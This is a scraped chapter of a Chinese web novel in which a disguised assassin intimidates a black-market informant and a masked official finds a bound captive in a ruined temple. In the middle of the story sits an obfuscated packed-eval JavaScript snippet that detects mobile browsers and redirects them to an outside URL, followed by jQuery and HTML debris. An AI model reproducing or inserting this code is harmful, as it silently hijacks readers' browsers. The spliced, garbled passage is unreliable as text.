默认冷灰
24号文字
方正启体

14. 觅行踪

作者:涯镜本书字数:K更新时间:
    厉翡蒙着面,再次踏入黑市。


    瘦子还在老位置,一有人靠近,就油腔滑调开口:“要些什么?”


    “无影手的消息。”


    瘦子掀了掀眼皮,缺了两颗门牙的嘴露出黑洞洞的笑,和上次分毫不差的回答:“我只知道有哪些人找他。”


    厉翡变为官话腔调:“有哪些人找他,我知道。我只问你,周谨手上,到底有什么东西?”


    按规矩,她丢出一锭银子。


    瘦子盯着她看了几息:“我们打听到的原话就是,可动摇国本的秘宝。”


    话音落下的瞬间,厉翡手中长剑出鞘。


    剑并非她惯用的兵刃,可谁让神机处的人都如陆怀钧一样佩剑。


    白日里在黑市另一头收的官剑,浮云城这地方,从官库流出来的制式兵器多得是。


    光有剑不够,厉翡低头,脑海中浮现陆怀钧的脸。


    他穿官服是什么模样?


    身姿挺拔,锋芒毕露,唇线平如直线,圆润瞳孔里尽是冷意。


    居高临下,官威势大,仿佛所有问题的答案都理所应当呈在他面前。


    厉翡将唇角压低,剑身随之映出一双极冷的眼睛,模仿出他说话的语气。


    “我问的是,你听到的第一手实话。”


    瘦子脸上的嬉笑终于消失。他盯着那柄样式明显带着官家印记的长剑,又猛地抬眼看厉翡裸露在外的那双眼睛。


    瘦子盘桓黑市一向靠眼力,眼前的姑娘年纪尚轻,却有比浮云城城主更重的威势。


    “姑娘……是哪路人?”他声音紧绷。


    “你想的那路。”


    “京城?”


    厉翡不答。剑彻底出鞘,寒光泠然,不愧是她花了二十两买的真货。


    剑是君子之器,持剑的人却不是君子。她不是,陆怀钧也不是。


    神机处的剑招她见过很多。狠,锐,快,只求伤人。


    一刹那,剑尖点在瘦子面前装水的陶碗边缘,只是一瞬,完整的陶碗顺着剑锋顷刻间碎裂,非常均等的两半。


    “我问话,不喜杂音。”


    瘦子额角渗出细密的冷汗,语调已有些迟疑:“神机处……露面的,目前可没有女子。”


    厉翡朝西北一拱手:“圣上手下,怎么会没有女子?”


    她袍袖扬起,深色木牌随动作晃动,一点亮色透出。瘦子定睛去看,银粉隐约勾勒出三个字,神机处。


    当今天子,是女帝。


    瘦子额角渗出冷汗,和官家人打交道是难事,浮云城的官家不算。


    可神机处声名在外。直达天听,有罪者可先斩后报。


    他身体前倾,声音压得极低,自称都变了,“小人确实不知具体。但周谨放话出来……说他手里有——”


    他猛地顿住,眼珠左右飞快一扫,确认无人近前,才从齿缝里挤出:“一个关于皇室血脉的天大秘密!”


    原来陆怀钧是为了这个来的。


    可厉翡不是。杀手没什么动摇国本的想法,也没人出得起这个价码。。


    她奔向下一个问题:“周谨在哪儿?”


    “小人不知……”


    “你知道。”厉翡打断他,语气笃定。


    “这种消息,周谨不会漫天地撒。他需要有人替他传声,黑市里接这种活计的……不多。”


    若她是周谨,这就是唯一想到的出路。放出消息搅乱形势,联系朝廷保命为上。


    而要搭上朝廷这条线,首先得让那头的人知道,他手里攥着什么筹码。他需要中间人,黑市深处这些情报贩子,就是最好的选择。


    瘦子的脸彻底白了,冷汗顺着鬓角滑下,在下颌凝成混浊的水珠。


    来人盯着他,满是杀气的瞳孔像蛇,剑尖仿佛随时要横过来。


    厉翡不想把人吓跑,缓缓收剑归鞘:“告诉他。京城来的人要见他。条件,可以谈。但只谈一次。地点,他定。时间——”


    “越快越好。”


    瘦子张了张嘴,还想说什么托词。


    那双蛇瞳一样的眼睛盯紧了他:“别耍花样。”


    厉翡从怀中取出一小锭金子,“啪”地一声轻响,压在桌上那堆散乱的碎银旁边。


    “神机处按规章办事,此案兹事体大,会有重酬。若是走漏风声,或让我知晓你还替别人传了话,神机处的手段——”


    她没说完,只将刚刚归鞘的剑柄抬起,轻轻点在瘦子的心口。那点冰冷的触感透过衣料,仿佛已看到心脉碎裂而死的结局。


    瘦子盯着金子,终于狠狠一咬牙,重重点头:“小人试试。但周谨未必肯信。大人……得容些时日。”


    “三天。”


    厉翡转身,声音抛在身后,“你只有三天时间。此刻,此地,回话给我。”


    她没入黑市涌动的人潮。


    确认无人跟踪,清冷的空气涌入肺腑,厉翡极轻地吐出一口气。


    腰间挂的令牌在日光下显出粗劣的纹理。木头刻的玩意,撒了点银粉,在昏暗的黑市里糊弄人足够了。


    毕竟她见过的神机处令牌,确实很多。


    回到侯府时,西斜的日头正将门楣的影子拉得细长。


    她刚踏上石阶,侧门便从里推开——陆卿文正从里面走出来。


    两人在门槛内外打了个照面,俱是一怔。


    陆卿文一副要外出的打扮,这倒是很稀奇。他平素一整天就窝在书房,做些厉翡看不懂的风雅事,焚香,品茶,兴致来了教她看账本。


    杏儿近来很是高兴,说想必是侯爷置办的外室也失宠了,侯爷都不常出门了。


    此刻陆卿文面色依旧冷白,厉翡曾怀疑过他是不是每日傅粉以达到病如西子的状态,洞房夜特地搓过——确实是没有的。


    长裕跟在他身后半步,手里提着个小药箱,见厉翡从外头回来,眼中掠过一丝不易察觉的讶异,随即恢复恭谨唤了声:“夫人。”


    厉翡福身行礼,目光飞快扫过陆卿文周身。


    长裕手里那药箱不像往日所用,是更小巧的样式。


    她抬起眼,声音放得轻柔:“侯爷要出门?”


    陆卿文也看着她,目光在她脸上停留了片刻,只是半日未见,他竟看出些如隔一秋半的劲头。


    他声音温和:“去城外访友。”


    日头渐低,压在天际线上,厉翡微微蹙眉:“这个时候出城?天快黑了,侯爷的身子不好,路上可要当心。”


    这话说得体贴,符合李翡该有的关切。可不知为何,说出口时,她心里莫名掠过一丝异样——好似真的在担心。


    陆卿文闻言,唇角极淡地弯了一下:“不妨事,长裕在呢。”


    “我同友人多年未见,或许要促膝长谈,你在府中好生待着。归期不定。”


    “归期不定”四字,他说得很慢,每个字都像是斟酌过。


    厉翡听在耳中,心头那点异样感更浓了。访友而已,何须特意强调归期不定?</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274934|198194||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    她垂下眼,顺从地应:“是。妾身会好好守着府里,等侯爷回来。”


    陆卿文没再说什么,转身朝门外等候的马车走去。


    长裕提着药箱跟上,经过厉翡身侧时,脚步几不可察地停顿了一瞬,像是想说什么,最终却只是低头快步跟上。


    厉翡站在原地。


    暮色渐浓,他的身影在昏黄光线下显得有些单薄,鸦青氅衣被晚风轻轻撩起一角。


    他抬手整理了一下氅衣的系带,动作很慢。


    不知为何,侧过脸,朝门内看了一眼。


    正对上厉翡的目光。


    隔着数步距离,他的脸半隐在阴影里,看不清神情,只有那双眼睛,在渐暗的天光中依旧清晰。


    厉翡心头忽而很紧张。


    下一瞬,陆卿文已收回视线,弯腰钻进马车。车帘落下,隔绝内外。


    长裕跃上车辕,扬鞭低喝:“驾——!”


    马车驶离侯府,碾过青石板路,声音渐远。


    城外二十里,沿画像所附地图,到无名山下破庙。


    陆怀钧勒马,停在庙门外十丈远的乱石滩上。残阳已尽数被天际吞没,只余下漫漫霞光,泼染着枯草断壁。


    长裕紧随其后勒住马缰,声音压得极低:“大人,还是让属下先进去探探。接悬赏的人来历不明,行事又如此鬼祟,万一是埋伏——”


    “若是埋伏,更应是我去。”陆怀钧淡淡道,目落在那扇半塌的庙门上。


    “既是冲着我来的局,自然该我入。”


    “可我们此行隐秘,带的人手本就不多,若是……”


    “没有若是。”陆怀钧打断他,从怀中取出一张青面獠牙的面具。


    这时又忽然想起李翡。


    她站在暮光里,总是梳简单的发髻,插一根半旧的银簪子,细长的眼半眯着看人,好似有担忧不完的事。


    他需要证据。


    吃下袖袋中息脉散的解药,缓缓将面具覆在脸上,铁是冷的,触到温热的肌肤,只露出眼睛和下颌。


    状似恶鬼的人合该有一双冷沉尖锐的眼睛。


    “你带人在外接应。若一炷香后我未出,不必犹豫,不必等号令,直接以剿贼论。”


    陆怀钧语气强硬:“——强攻。”


    “大人小心。”长裕服从命令。


    陆怀钧已翻身下马,将缰绳随手抛给他,抬步朝破庙走去。


    枯黄脆裂的衰草没过靴底,碾过时响声清脆。是这里太安静了,静得反常,连惯常的夜枭啼鸣、虫豸窸窣都无。


    庙门虚掩,露着一道深黑的缝隙。


    他伸手推开,腐朽木轴不堪重负地长鸣,回荡在空荡的破庙里。


    蛛网四处垂挂,梁柱歪斜,香案已坍塌了大半,供奉的神像面目模糊,半边脸已剥落。


    庙堂正中的梁柱只剩下一半,粗糙的麻绳环过,捆着一个人。


    一个女人。


    脖颈因无力而弯折,长发凌乱披散,遮住了大半张脸,只露出唇下那道旧疤。


    她穿着夜行衣,好几处布料被刀刃划破,底下的白色中衣沾了血迹。


    陆怀钧看见血迹的颜色,深褐与暗红之间,应是两日之内受的伤。


    身形高度一样。


    陆怀钧一根一根细看她的手指,右手食指中指略微变形,指腹似有薄茧,虎口却是光滑的


    精通暗器之人的手便是如此。


    他几乎要确认这就是非羽。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)